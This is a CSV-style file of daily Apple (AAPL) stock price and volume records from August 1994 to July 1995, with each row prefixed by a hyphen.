-1994-08-10,1.2008928060531616,1.2455357313156128,1.1875,1.2366071939468384,1.054448127746582,63392000.0,AAPL
-1994-08-11,1.2232142686843872,1.2544642686843872,1.2098214626312256,1.2254464626312256,1.0449317693710327,74522000.0,AAPL
-1994-08-12,1.2276785373687744,1.2544642686843872,1.2098214626312256,1.2410714626312256,1.0582548379898071,44912000.0,AAPL
-1994-08-15,1.2410714626312256,1.25,1.2232142686843872,1.2366071939468384,1.05810546875,30018800.0,AAPL
-1994-08-16,1.2276785373687744,1.2410714626312256,1.2142857313156128,1.2410714626312256,1.0619257688522339,38934000.0,AAPL
-1994-08-17,1.2455357313156128,1.2633928060531616,1.2366071939468384,1.25,1.0695650577545166,71545600.0,AAPL
-1994-08-18,1.2410714626312256,1.2589285373687744,1.2321428060531616,1.2366071939468384,1.05810546875,51564800.0,AAPL
-1994-08-19,1.2410714626312256,1.25,1.2232142686843872,1.2455357313156128,1.0657455921173096,32636800.0,AAPL
-1994-08-22,1.2410714626312256,1.25,1.2366071939468384,1.2455357313156128,1.0657455921173096,38105200.0,AAPL
-1994-08-23,1.2455357313156128,1.28125,1.2410714626312256,1.25,1.0695650577545166,53611600.0,AAPL
-1994-08-24,1.2410714626312256,1.25,1.2276785373687744,1.2455357313156128,1.0657455921173096,42896000.0,AAPL
-1994-08-25,1.2232142686843872,1.2991071939468384,1.2232142686843872,1.2522321939468384,1.0714751482009888,74698400.0,AAPL
-1994-08-26,1.2589285373687744,1.2901785373687744,1.2589285373687744,1.2767857313156128,1.092484712600708,51049600.0,AAPL
-1994-08-29,1.2767857313156128,1.2901785373687744,1.2589285373687744,1.2633928060531616,1.0810250043869019,38026800.0,AAPL
-1994-08-30,1.2589285373687744,1.2991071939468384,1.2544642686843872,1.2946428060531616,1.1077638864517212,45519600.0,AAPL
-1994-08-31,1.2857142686843872,1.3348214626312256,1.2767857313156128,1.2924107313156128,1.105853796005249,87959200.0,AAPL
-1994-09-01,1.2633928060531616,1.2767857313156128,1.2366071939468384,1.25,1.0695650577545166,51072000.0,AAPL
-1994-09-02,1.2589285373687744,1.2678571939468384,1.25,1.2633928060531616,1.0810250043869019,25326000.0,AAPL
-1994-09-06,1.2589285373687744,1.2723214626312256,1.25,1.2700892686843872,1.086754560470581,22856400.0,AAPL
-1994-09-07,1.2723214626312256,1.3080357313156128,1.2633928060531616,1.2901785373687744,1.1039438247680664,50974000.0,AAPL
-1994-09-08,1.2857142686843872,1.2946428060531616,1.2723214626312256,1.2901785373687744,1.1039438247680664,39709600.0,AAPL
-1994-09-09,1.2767857313156128,1.2857142686843872,1.2633928060531616,1.2767857313156128,1.092484712600708,39309200.0,AAPL
-1994-09-12,1.2723214626312256,1.2767857313156128,1.2633928060531616,1.2767857313156128,1.092484712600708,22635200.0,AAPL
-1994-09-13,1.2767857313156128,1.2946428060531616,1.2723214626312256,1.2790178060531616,1.0943946838378906,26056800.0,AAPL
-1994-09-14,1.2723214626312256,1.2767857313156128,1.25,1.2544642686843872,1.0733853578567505,24771600.0,AAPL
-1994-09-15,1.2544642686843872,1.2901785373687744,1.2544642686843872,1.2857142686843872,1.1001241207122803,64738800.0,AAPL
-1994-09-16,1.28125,1.3303571939468384,1.2678571939468384,1.2991071939468384,1.1115837097167969,91036400.0,AAPL
-1994-09-19,1.2991071939468384,1.3125,1.2678571939468384,1.2678571939468384,1.0848448276519775,43587600.0,AAPL
-1994-09-20,1.2544642686843872,1.2633928060531616,1.2276785373687744,1.234375,1.0561959743499756,49313600.0,AAPL
-1994-09-21,1.2321428060531616,1.2366071939468384,1.2053571939468384,1.21875,1.0428261756896973,58710400.0,AAPL
-1994-09-22,1.2232142686843872,1.2232142686843872,1.2008928060531616,1.2098214626312256,1.0351861715316772,36559600.0,AAPL
-1994-09-23,1.2098214626312256,1.2321428060531616,1.2098214626312256,1.2120535373687744,1.0370961427688599,33219200.0,AAPL
-1994-09-26,1.2098214626312256,1.2321428060531616,1.2008928060531616,1.2120535373687744,1.0370961427688599,35425600.0,AAPL
-1994-09-27,1.2053571939468384,1.21875,1.1919642686843872,1.2098214626312256,1.0351861715316772,27272000.0,AAPL
-1994-09-28,1.2142857313156128,1.2276785373687744,1.2008928060531616,1.2098214626312256,1.0351861715316772,20316800.0,AAPL
-1994-09-29,1.2053571939468384,1.2276785373687744,1.1919642686843872,1.21875,1.0428261756896973,27344800.0,AAPL
-1994-09-30,1.21875,1.2321428060531616,1.2008928060531616,1.203125,1.0294562578201294,17925600.0,AAPL
-1994-10-03,1.2008928060531616,1.2053571939468384,1.1607142686843872,1.1830357313156128,1.0122671127319336,32398800.0,AAPL
-1994-10-04,1.1875,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0313668251037598,40597200.0,AAPL
-1994-10-05,1.2008928060531616,1.3616071939468384,1.1919642686843872,1.3526785373687744,1.157422423362732,177450000.0,AAPL
-1994-10-06,1.3348214626312256,1.3387277126312256,1.2857142686843872,1.2946428060531616,1.1077638864517212,131728800.0,AAPL
-1994-10-07,1.2901785373687744,1.3236607313156128,1.2678571939468384,1.3214285373687744,1.1306830644607544,91098000.0,AAPL
-1994-10-10,1.3258928060531616,1.4151785373687744,1.3214285373687744,1.3883928060531616,1.187981367111206,130852400.0,AAPL
-1994-10-11,1.4776785373687744,1.4955357313156128,1.40625,1.4151785373687744,1.2109006643295288,210576800.0,AAPL
-1994-10-12,1.4151785373687744,1.5223214626312256,1.3973214626312256,1.5044642686843872,1.287298321723938,149329600.0,AAPL
-1994-10-13,1.5223214626312256,1.53125,1.4508928060531616,1.46875,1.2567394971847534,131325600.0,AAPL
-1994-10-14,1.4821428060531616,1.5,1.4598214626312256,1.46875,1.2567394971847534,44013200.0,AAPL
-1994-10-17,1.4598214626312256,1.4821428060531616,1.3883928060531616,1.4196428060531616,1.2147204875946045,75997600.0,AAPL
-1994-10-18,1.4508928060531616,1.4866071939468384,1.4464285373687744,1.4732142686843872,1.2605587244033813,117171600.0,AAPL
-1994-10-19,1.4642857313156128,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.2605587244033813,87771600.0,AAPL
-1994-10-20,1.4732142686843872,1.4933035373687744,1.4464285373687744,1.4642857313156128,1.2529194355010986,54535600.0,AAPL
-1994-10-21,1.4553571939468384,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.3025774955749512,80676400.0,AAPL
-1994-10-24,1.5267857313156128,1.5401785373687744,1.4955357313156128,1.5089285373687744,1.2911183834075928,51125200.0,AAPL
-1994-10-25,1.4866071939468384,1.5223214626312256,1.4821428060531616,1.5223214626312256,1.3025774955749512,75370400.0,AAPL
-1994-10-26,1.5223214626312256,1.5452009439468384,1.5223214626312256,1.5446428060531616,1.3216772079467773,49193200.0,AAPL
-1994-10-27,1.5446428060531616,1.5625,1.5178571939468384,1.5267857313156128,1.3063976764678955,39852400.0,AAPL
-1994-10-28,1.5133928060531616,1.53125,1.4910714626312256,1.5044642686843872,1.287298321723938,68331200.0,AAPL
-1994-10-31,1.5,1.5491071939468384,1.4821428060531616,1.5424107313156128,1.3197669982910156,88975600.0,AAPL
-1994-11-01,1.53125,1.5530134439468384,1.5133928060531616,1.5401785373687744,1.317856788635254,54524400.0,AAPL
-1994-11-02,1.5401785373687744,1.5446428060531616,1.4776785373687744,1.4776785373687744,1.2643789052963257,54686800.0,AAPL
-1994-11-03,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.2681986093521118,27630400.0,AAPL
-1994-11-04,1.4821428060531616,1.4866071939468384,1.4285714626312256,1.4419642686843872,1.2338199615478516,48011600.0,AAPL
-1994-11-07,1.4419642686843872,1.4732142686843872,1.4330357313156128,1.4553571939468384,1.245279312133789,28260400.0,AAPL
-1994-11-08,1.4508928060531616,1.5223214626312256,1.4375,1.5089285373687744,1.2911183834075928,87242400.0,AAPL
-1994-11-09,1.5267857313156128,1.5357142686843872,1.4642857313156128,1.4866071939468384,1.2720187902450562,101584000.0,AAPL
-1994-11-10,1.4910714626312256,1.4955357313156128,1.4642857313156128,1.4754464626312256,1.2624690532684326,38245200.0,AAPL
-1994-11-11,1.4732142686843872,1.4821428060531616,1.4642857313156128,1.46875,1.2567394971847534,15568000.0,AAPL
-1994-11-14,1.4732142686843872,1.5267857313156128,1.4732142686843872,1.5178571939468384,1.298757791519165,34907600.0,AAPL
-1994-11-15,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4776785373687744,1.2643789052963257,41904800.0,AAPL
-1994-11-16,1.4553571939468384,1.484375,1.4508928060531616,1.4620535373687744,1.2510091066360474,46849600.0,AAPL
-1994-11-17,1.4598214626312256,1.4642857313156128,1.4241071939468384,1.4285714626312256,1.2223604917526245,37609600.0,AAPL
-1994-11-18,1.4285714626312256,1.4464285373687744,1.4151785373687744,1.4285714626312256,1.2260421514511108,36758400.0,AAPL
-1994-11-21,1.4285714626312256,1.4375,1.3571428060531616,1.3616071939468384,1.1685714721679688,50649200.0,AAPL
-1994-11-22,1.3482142686843872,1.3973214626312256,1.3303571939468384,1.3348214626312256,1.145583152770996,56084000.0,AAPL
-1994-11-23,1.3214285373687744,1.3526785373687744,1.2991071939468384,1.3169642686843872,1.1302577257156372,81953200.0,AAPL
-1994-11-25,1.3169642686843872,1.3482142686843872,1.3125,1.3482142686843872,1.1570770740509033,21056000.0,AAPL
-1994-11-28,1.34375,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1589930057525635,34669600.0,AAPL
-1994-11-29,1.3571428060531616,1.375,1.3482142686843872,1.3660714626312256,1.1724027395248413,36033200.0,AAPL
-1994-11-30,1.3705357313156128,1.40625,1.3214285373687744,1.3303571939468384,1.1417516469955444,78008000.0,AAPL
-1994-12-01,1.3214285373687744,1.34375,1.2857142686843872,1.2924107313156128,1.1091846227645874,77330400.0,AAPL
-1994-12-02,1.3035714626312256,1.3125,1.2723214626312256,1.3058035373687744,1.1206790208816528,43064000.0,AAPL
-1994-12-05,1.3035714626312256,1.3348214626312256,1.2901785373687744,1.328125,1.1398359537124634,45068800.0,AAPL
-1994-12-06,1.3214285373687744,1.3705357313156128,1.3169642686843872,1.3415178060531616,1.1513298749923706,59522400.0,AAPL
-1994-12-07,1.3392857313156128,1.3504464626312256,1.2879464626312256,1.3080357313156128,1.1225950717926025,34325200.0,AAPL
-1994-12-08,1.3169642686843872,1.3214285373687744,1.2767857313156128,1.28125,1.0996063947677612,42464800.0,AAPL
-1994-12-09,1.28125,1.2991071939468384,1.2410714626312256,1.2946428060531616,1.1111005544662476,65181200.0,AAPL
-1994-12-12,1.2991071939468384,1.3125,1.2678571939468384,1.3035714626312256,1.1187635660171509,56019600.0,AAPL
-1994-12-13,1.3080357313156128,1.3191964626312256,1.2946428060531616,1.2991071939468384,1.1149318218231201,29800400.0,AAPL
-1994-12-14,1.3035714626312256,1.3616071939468384,1.3035714626312256,1.3526785373687744,1.1609084606170654,77856800.0,AAPL
-1994-12-15,1.3571428060531616,1.3705357313156128,1.3169642686843872,1.3258928060531616,1.1379201412200928,56898800.0,AAPL
-1994-12-16,1.3303571939468384,1.3482142686843872,1.3125,1.3303571939468384,1.1417516469955444,44945600.0,AAPL
-1994-12-19,1.3303571939468384,1.40625,1.3303571939468384,1.3973214626312256,1.1992223262786865,83204800.0,AAPL
-1994-12-20,1.3973214626312256,1.4017857313156128,1.3705357313156128,1.375,1.180065631866455,43786400.0,AAPL
-1994-12-21,1.3526785373687744,1.375,1.3392857313156128,1.3705357313156128,1.1762343645095825,39359600.0,AAPL
-1994-12-22,1.375,1.3883928060531616,1.3660714626312256,1.3794642686843872,1.183896541595459,33269600.0,AAPL
-1994-12-23,1.375,1.40625,1.375,1.3883928060531616,1.1915595531463623,23472400.0,AAPL
-1994-12-27,1.4017857313156128,1.4196428060531616,1.3883928060531616,1.3973214626312256,1.1992223262786865,20479200.0,AAPL
-1994-12-28,1.3973214626312256,1.4017857313156128,1.3660714626312256,1.3973214626312256,1.1992223262786865,22290800.0,AAPL
-1994-12-29,1.4017857313156128,1.4241071939468384,1.3973214626312256,1.4107142686843872,1.2107164859771729,30335200.0,AAPL
-1994-12-30,1.40625,1.4241071939468384,1.3839285373687744,1.3928571939468384,1.1953909397125244,18272800.0,AAPL
-1995-01-03,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3705357313156128,1.1762343645095825,25967200.0,AAPL
-1995-01-04,1.3794642686843872,1.4151785373687744,1.3794642686843872,1.40625,1.2068852186203003,39670400.0,AAPL
-1995-01-05,1.4017857313156128,1.40625,1.3839285373687744,1.3883928060531616,1.1915595531463623,18410000.0,AAPL
-1995-01-06,1.4866071939468384,1.5401785373687744,1.46875,1.5,1.287344217300415,269155600.0,AAPL
-1995-01-09,1.4866071939468384,1.4955357313156128,1.4642857313156128,1.4715402126312256,1.2629191875457764,68521600.0,AAPL
-1995-01-10,1.4732142686843872,1.5714285373687744,1.4732142686843872,1.5602678060531616,1.3390679359436035,153697600.0,AAPL
-1995-01-11,1.5625,1.7165178060531616,1.5245535373687744,1.6696428060531616,1.4329369068145752,218456000.0,AAPL
-1995-01-12,1.6473214626312256,1.65625,1.5982142686843872,1.6205357313156128,1.3907915353775024,137944800.0,AAPL
-1995-01-13,1.6473214626312256,1.6473214626312256,1.5848214626312256,1.6026785373687744,1.375465750694275,87844400.0,AAPL
-1995-01-16,1.6026785373687744,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.3639719486236572,47244400.0,AAPL
-1995-01-17,1.5892857313156128,1.625,1.5758928060531616,1.6071428060531616,1.3792972564697266,82527200.0,AAPL
-1995-01-18,1.6071428060531616,1.6294642686843872,1.5982142686843872,1.6294642686843872,1.398454189300537,31914400.0,AAPL
-1995-01-19,1.625,1.6428571939468384,1.6071428060531616,1.6383928060531616,1.4061172008514404,78573600.0,AAPL
-1995-01-20,1.6785714626312256,1.6785714626312256,1.5178571939468384,1.5223214626312256,1.306501030921936,250090400.0,AAPL
-1995-01-23,1.4955357313156128,1.5223214626312256,1.4642857313156128,1.5089285373687744,1.2950072288513184,99635200.0,AAPL
-1995-01-24,1.5089285373687744,1.5133928060531616,1.4776785373687744,1.4866071939468384,1.275850534439087,54524400.0,AAPL
-1995-01-25,1.4107142686843872,1.5,1.4107142686843872,1.4637277126312256,1.2562141418457031,129267600.0,AAPL
-1995-01-26,1.4598214626312256,1.4821428060531616,1.4017857313156128,1.4107142686843872,1.2107164859771729,61597200.0,AAPL
-1995-01-27,1.4241071939468384,1.4419642686843872,1.3928571939468384,1.4241071939468384,1.2222108840942383,74642400.0,AAPL
-1995-01-30,1.4330357313156128,1.4464285373687744,1.4241071939468384,1.4330357313156128,1.229873538017273,57646400.0,AAPL
-1995-01-31,1.4464285373687744,1.4598214626312256,1.4285714626312256,1.4419642686843872,1.2375363111495972,53194400.0,AAPL
-1995-02-01,1.4553571939468384,1.4553571939468384,1.4241071939468384,1.4330357313156128,1.229873538017273,39592000.0,AAPL
-1995-02-02,1.4330357313156128,1.4955357313156128,1.4330357313156128,1.4866071939468384,1.275850534439087,50895600.0,AAPL
-1995-02-03,1.5,1.5044642686843872,1.4419642686843872,1.4464285373687744,1.2413681745529175,79802800.0,AAPL
-1995-02-06,1.4553571939468384,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2413681745529175,60757200.0,AAPL
-1995-02-07,1.4419642686843872,1.4642857313156128,1.4285714626312256,1.4575892686843872,1.2509461641311646,50400000.0,AAPL
-1995-02-08,1.4642857313156128,1.5133928060531616,1.4598214626312256,1.5111607313156128,1.2969225645065308,100716000.0,AAPL
-1995-02-09,1.5044642686843872,1.5669642686843872,1.5044642686843872,1.5580357313156128,1.3371522426605225,118848800.0,AAPL
-1995-02-10,1.5580357313156128,1.578125,1.5491071939468384,1.5625,1.3409833908081055,87740800.0,AAPL
-1995-02-13,1.5535714626312256,1.5892857313156128,1.5446428060531616,1.5625,1.3446751832962036,70842800.0,AAPL
-1995-02-14,1.5625,1.5758928060531616,1.5223214626312256,1.5334821939468384,1.3197027444839478,41403600.0,AAPL
-1995-02-15,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5200892686843872,1.30817711353302,46118800.0,AAPL
-1995-02-16,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5424107313156128,1.3273868560791016,54695200.0,AAPL
-1995-02-17,1.53125,1.5357142686843872,1.5178571939468384,1.5178571939468384,1.3062559366226196,30447200.0,AAPL
-1995-02-21,1.5223214626312256,1.5267857313156128,1.4598214626312256,1.4642857313156128,1.26015305519104,75395600.0,AAPL
-1995-02-22,1.4508928060531616,1.4642857313156128,1.4330357313156128,1.4575892686843872,1.2543904781341553,73354400.0,AAPL
-1995-02-23,1.46875,1.4955357313156128,1.4285714626312256,1.4352678060531616,1.2351800203323364,78677200.0,AAPL
-1995-02-24,1.4330357313156128,1.4419642686843872,1.375,1.3928571939468384,1.198682188987732,142203600.0,AAPL
-1995-02-27,1.3660714626312256,1.3928571939468384,1.3610490560531616,1.3660714626312256,1.1756309270858765,67202800.0,AAPL
-1995-02-28,1.375,1.4241071939468384,1.3571428060531616,1.4107142686843872,1.2140498161315918,55742400.0,AAPL
-1995-03-01,1.4196428060531616,1.4330357313156128,1.4079240560531616,1.4285714626312256,1.2294176816940308,56112000.0,AAPL
-1995-03-02,1.4330357313156128,1.4553571939468384,1.4196428060531616,1.4285714626312256,1.2294176816940308,67186000.0,AAPL
-1995-03-03,1.4196428060531616,1.453125,1.4107142686843872,1.4375,1.237101435661316,36442000.0,AAPL
-1995-03-06,1.4196428060531616,1.4285714626312256,1.4107142686843872,1.4196428060531616,1.2217336893081665,33180000.0,AAPL
-1995-03-07,1.4241071939468384,1.4241071939468384,1.3660714626312256,1.3683035373687744,1.1775513887405396,37696400.0,AAPL
-1995-03-08,1.3839285373687744,1.4330357313156128,1.3482142686843872,1.4129464626312256,1.2159708738327026,91218400.0,AAPL
-1995-03-09,1.4241071939468384,1.4419642686843872,1.40625,1.4196428060531616,1.2217336893081665,49170800.0,AAPL
-1995-03-10,1.4151785373687744,1.4419642686843872,1.40625,1.4107142686843872,1.2140498161315918,34353200.0,AAPL
-1995-03-13,1.4151785373687744,1.4151785373687744,1.3571428060531616,1.3616071939468384,1.1717888116836548,81438000.0,AAPL
-1995-03-14,1.3660714626312256,1.3660714626312256,1.2321428060531616,1.25,1.0757403373718262,181966400.0,AAPL
-1995-03-15,1.2678571939468384,1.2946428060531616,1.2455357313156128,1.25,1.0757403373718262,182742000.0,AAPL
-1995-03-16,1.2589285373687744,1.2857142686843872,1.25,1.2589285373687744,1.0834242105484009,79184000.0,AAPL
-1995-03-17,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.0795825719833374,53911200.0,AAPL
-1995-03-20,1.2544642686843872,1.2723214626312256,1.25,1.2589285373687744,1.0834242105484009,47471200.0,AAPL
-1995-03-21,1.2678571939468384,1.3125,1.2589285373687744,1.2946428060531616,1.1141597032546997,76342000.0,AAPL
-1995-03-22,1.2946428060531616,1.4107142686843872,1.2946428060531616,1.359375,1.169867753982544,119786800.0,AAPL
-1995-03-23,1.3526785373687744,1.3571428060531616,1.3208705186843872,1.3258928060531616,1.1410528421401978,42523600.0,AAPL
-1995-03-24,1.3348214626312256,1.3526785373687744,1.3303571939468384,1.3482142686843872,1.1602625846862793,32029200.0,AAPL
-1995-03-27,1.34375,1.34375,1.3080357313156128,1.328125,1.1429741382598877,35700000.0,AAPL
-1995-03-28,1.2946428060531616,1.2979910373687744,1.21875,1.2276785373687744,1.0565307140350342,172449200.0,AAPL
-1995-03-29,1.2142857313156128,1.2455357313156128,1.2098214626312256,1.2276785373687744,1.0565307140350342,124219200.0,AAPL
-1995-03-30,1.2366071939468384,1.2678571939468384,1.2321428060531616,1.2633928060531616,1.087266206741333,68353600.0,AAPL
-1995-03-31,1.2544642686843872,1.2723214626312256,1.2410714626312256,1.2589285373687744,1.0834242105484009,45810800.0,AAPL
-1995-04-03,1.2678571939468384,1.2767857313156128,1.2544642686843872,1.2678571939468384,1.0911080837249756,38575600.0,AAPL
-1995-04-04,1.2767857313156128,1.28125,1.2008928060531616,1.2098214626312256,1.0411632061004639,107049600.0,AAPL
-1995-04-05,1.21875,1.2410714626312256,1.2053571939468384,1.2410714626312256,1.068056583404541,66214400.0,AAPL
-1995-04-06,1.3303571939468384,1.3571428060531616,1.2689732313156128,1.3125,1.1295275688171387,180706400.0,AAPL
-1995-04-07,1.3214285373687744,1.3258928060531616,1.2946428060531616,1.3125,1.1295275688171387,73931200.0,AAPL
-1995-04-10,1.3169642686843872,1.3214285373687744,1.2901785373687744,1.3080357313156128,1.125685691833496,29450400.0,AAPL
-1995-04-11,1.3125,1.3526785373687744,1.3080357313156128,1.3482142686843872,1.1602625846862793,53628400.0,AAPL
-1995-04-12,1.3660714626312256,1.4151785373687744,1.3348214626312256,1.3928571939468384,1.198682188987732,118678000.0,AAPL
-1995-04-13,1.4017857313156128,1.4017857313156128,1.3526785373687744,1.3660714626312256,1.1756309270858765,43590400.0,AAPL
-1995-04-17,1.3616071939468384,1.40625,1.3526785373687744,1.3705357313156128,1.17947256565094,52203200.0,AAPL
-1995-04-18,1.375,1.3794642686843872,1.3392857313156128,1.3392857313156128,1.1525788307189941,57783600.0,AAPL
-1995-04-19,1.3392857313156128,1.3392857313156128,1.2723214626312256,1.2991071939468384,1.1180018186569214,69857200.0,AAPL
-1995-04-20,1.3258928060531616,1.375,1.3080357313156128,1.34375,1.156421184539795,82376000.0,AAPL
-1995-04-21,1.3303571939468384,1.4107142686843872,1.3258928060531616,1.3973214626312256,1.202523946762085,166656000.0,AAPL
-1995-04-24,1.3928571939468384,1.4151785373687744,1.375,1.3928571939468384,1.198682188987732,68059600.0,AAPL
-1995-04-25,1.3973214626312256,1.40625,1.3303571939468384,1.3482142686843872,1.1602625846862793,68409600.0,AAPL
-1995-04-26,1.34375,1.3839285373687744,1.3348214626312256,1.3660714626312256,1.1756309270858765,57610000.0,AAPL
-1995-04-27,1.375,1.375,1.3482142686843872,1.3526785373687744,1.164104700088501,34966400.0,AAPL
-1995-04-28,1.3571428060531616,1.3705357313156128,1.3392857313156128,1.3660714626312256,1.1756309270858765,48829200.0,AAPL
-1995-05-01,1.3660714626312256,1.3839285373687744,1.3571428060531616,1.3660714626312256,1.1756309270858765,44489200.0,AAPL
-1995-05-02,1.3660714626312256,1.3705357313156128,1.3392857313156128,1.3616071939468384,1.1717888116836548,30002000.0,AAPL
-1995-05-03,1.3660714626312256,1.3794642686843872,1.3571428060531616,1.3616071939468384,1.1717888116836548,42196000.0,AAPL
-1995-05-04,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.375,1.1833144426345825,75910800.0,AAPL
-1995-05-05,1.3839285373687744,1.3973214626312256,1.3616071939468384,1.3883928060531616,1.1948403120040894,52001600.0,AAPL
-1995-05-08,1.4241071939468384,1.4642857313156128,1.4196428060531616,1.4464285373687744,1.2447856664657593,96742800.0,AAPL
-1995-05-09,1.4508928060531616,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.2678369283676147,80732400.0,AAPL
-1995-05-10,1.4821428060531616,1.4955357313156128,1.4553571939468384,1.4799107313156128,1.2735995054244995,68768000.0,AAPL
-1995-05-11,1.4866071939468384,1.4866071939468384,1.4419642686843872,1.4642857313156128,1.26015305519104,130905600.0,AAPL
-1995-05-12,1.4598214626312256,1.5602678060531616,1.4464285373687744,1.5580357313156128,1.3408335447311401,161988400.0,AAPL
-1995-05-15,1.5401785373687744,1.5625,1.5178571939468384,1.5580357313156128,1.3408335447311401,98338800.0,AAPL
-1995-05-16,1.5401785373687744,1.5848214626312256,1.5178571939468384,1.5625,1.3446751832962036,83129200.0,AAPL
-1995-05-17,1.5625,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3523592948913574,65786000.0,AAPL
-1995-05-18,1.5758928060531616,1.5758928060531616,1.5446428060531616,1.5491071939468384,1.333149790763855,92892800.0,AAPL
-1995-05-19,1.53125,1.5625,1.5223214626312256,1.5267857313156128,1.313940167427063,80648400.0,AAPL
-1995-05-22,1.5178571939468384,1.5758928060531616,1.5089285373687744,1.5758928060531616,1.356201410293579,92971200.0,AAPL
-1995-05-23,1.5758928060531616,1.5848214626312256,1.5535714626312256,1.5669642686843872,1.3485171794891357,69165600.0,AAPL
-1995-05-24,1.5625,1.5803571939468384,1.53125,1.5535714626312256,1.3369914293289185,66166800.0,AAPL
-1995-05-25,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.333149790763855,45715600.0,AAPL
-1995-05-26,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5245535373687744,1.3156623840332031,28638400.0,AAPL
-1995-05-30,1.5223214626312256,1.53125,1.4821428060531616,1.5,1.294473648071289,49095200.0,AAPL
-1995-05-31,1.5044642686843872,1.5044642686843872,1.4642857313156128,1.484375,1.2809892892837524,39883200.0,AAPL
-1995-06-01,1.4955357313156128,1.5178571939468384,1.4910714626312256,1.5066964626312256,1.3002526760101318,46681600.0,AAPL
-1995-06-02,1.4955357313156128,1.5133928060531616,1.4821428060531616,1.5044642686843872,1.298326015472412,26423600.0,AAPL
-1995-06-05,1.5133928060531616,1.5535714626312256,1.5044642686843872,1.5535714626312256,1.3407046794891357,63663600.0,AAPL
-1995-06-06,1.5580357313156128,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3561151027679443,78817200.0,AAPL
-1995-06-07,1.5758928060531616,1.5758928060531616,1.5401785373687744,1.5401785373687744,1.3291467428207397,31130400.0,AAPL
-1995-06-08,1.5491071939468384,1.5491071939468384,1.5044642686843872,1.5334821939468384,1.323367714881897,34034000.0,AAPL
-1995-06-09,1.5580357313156128,1.5625,1.5401785373687744,1.5535714626312256,1.3407046794891357,46656400.0,AAPL
-1995-06-12,1.5714285373687744,1.5892857313156128,1.5669642686843872,1.5775669813156128,1.3614119291305542,53029200.0,AAPL
-1995-06-13,1.5892857313156128,1.59375,1.5669642686843872,1.5714285373687744,1.3561151027679443,31486000.0,AAPL
-1995-06-14,1.5669642686843872,1.5669642686843872,1.5491071939468384,1.5580357313156128,1.344557285308838,29512000.0,AAPL
-1995-06-15,1.5580357313156128,1.5625,1.5491071939468384,1.5580357313156128,1.344557285308838,23189600.0,AAPL
-1995-06-16,1.5669642686843872,1.5714285373687744,1.5535714626312256,1.5669642686843872,1.3522623777389526,22302000.0,AAPL
-1995-06-19,1.5669642686843872,1.6160714626312256,1.5535714626312256,1.5848214626312256,1.3676728010177612,117384400.0,AAPL
-1995-06-20,1.6428571939468384,1.7053571939468384,1.6428571939468384,1.6919642686843872,1.4601348638534546,184632000.0,AAPL
-1995-06-21,1.7008928060531616,1.7901785373687744,1.6696428060531616,1.7633928060531616,1.521776795387268,156503200.0,AAPL
-1995-06-22,1.75,1.7723214626312256,1.7366071939468384,1.7544642686843872,1.5140715837478638,118479200.0,AAPL
-1995-06-23,1.7410714626312256,1.75,1.7053571939468384,1.7410714626312256,1.502514123916626,57990800.0,AAPL
-1995-06-26,1.7232142686843872,1.7321428060531616,1.7008928060531616,1.71875,1.4832512140274048,38194800.0,AAPL
-1995-06-27,1.6919642686843872,1.7232142686843872,1.65625,1.65625,1.4293144941329956,54275200.0,AAPL
-1995-06-28,1.6428571939468384,1.6964285373687744,1.6205357313156128,1.6651785373687744,1.4370197057724,66589600.0,AAPL
-1995-06-29,1.65625,1.71875,1.6428571939468384,1.6875,1.456282615661621,58139200.0,AAPL
-1995-06-30,1.6875,1.7098214626312256,1.6473214626312256,1.6584821939468384,1.4312406778335571,41372800.0,AAPL
-1995-07-03,1.6607142686843872,1.6830357313156128,1.6517857313156128,1.6763392686843872,1.4466512203216553,9847600.0,AAPL
-1995-07-05,1.6741071939468384,1.7098214626312256,1.6607142686843872,1.6607142686843872,1.4331669807434082,44265200.0,AAPL
-1995-07-06,1.6607142686843872,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.4485775232315063,46023600.0,AAPL
-1995-07-07,1.6741071939468384,1.7589285373687744,1.6696428060531616,1.7366071939468384,1.4986611604690552,96779200.0,AAPL
-1995-07-10,1.7366071939468384,1.78125,1.71875,1.7366071939468384,1.4986611604690552,74482800.0,AAPL
-1995-07-11,1.7053571939468384,1.7366071939468384,1.6808035373687744,1.6830357313156128,1.4524301290512085,53673200.0,AAPL
-1995-07-12,1.6875,1.7142857313156128,1.6473214626312256,1.6785714626312256,1.4485775232315063,70952000.0,AAPL
-1995-07-13,1.6919642686843872,1.7410714626312256,1.6830357313156128,1.7008928060531616,1.467840552330017,88082400.0,AAPL
-1995-07-14,1.6919642686843872,1.75,1.6785714626312256,1.7410714626312256,1.502514123916626,69482000.0,AAPL
-1995-07-17,1.7455357313156128,1.7767857313156128,1.7366071939468384,1.75,1.510218858718872,56540400.0,AAPL
-1995-07-18,1.75,1.7700892686843872,1.7053571939468384,1.71875,1.4832512140274048,63658000.0,AAPL
-1995-07-19,1.6785714626312256,1.7142857313156128,1.6071428060531616,1.625,1.4023463726043701,130258800.0,AAPL
-1995-07-20,1.6428571939468384,1.6919642686843872,1.6071428060531616,1.6808035373687744,1.4505038261413574,82818400.0,AAPL
-1995-07-21,1.5357142686843872,1.6026785373687744,1.5357142686843872,1.5625,1.3484095335006714,189470400.0,AAPL
-1995-07-24,1.5714285373687744,1.625,1.5625,1.6205357313156128,1.3984935283660889,53656400.0,AAPL
-1995-07-25,1.6428571939468384,1.65625,1.6294642686843872,1.6339285373687744,1.4100513458251953,65881200.0,AAPL
-1995-07-26,1.6517857313156128,1.6517857313156128,1.6205357313156128,1.6205357313156128,1.3984935283660889,42862400.0,AAPL
-1995-07-27,1.625,1.6964285373687744,1.625,1.671875,1.442798376083374,81295200.0,AAPL
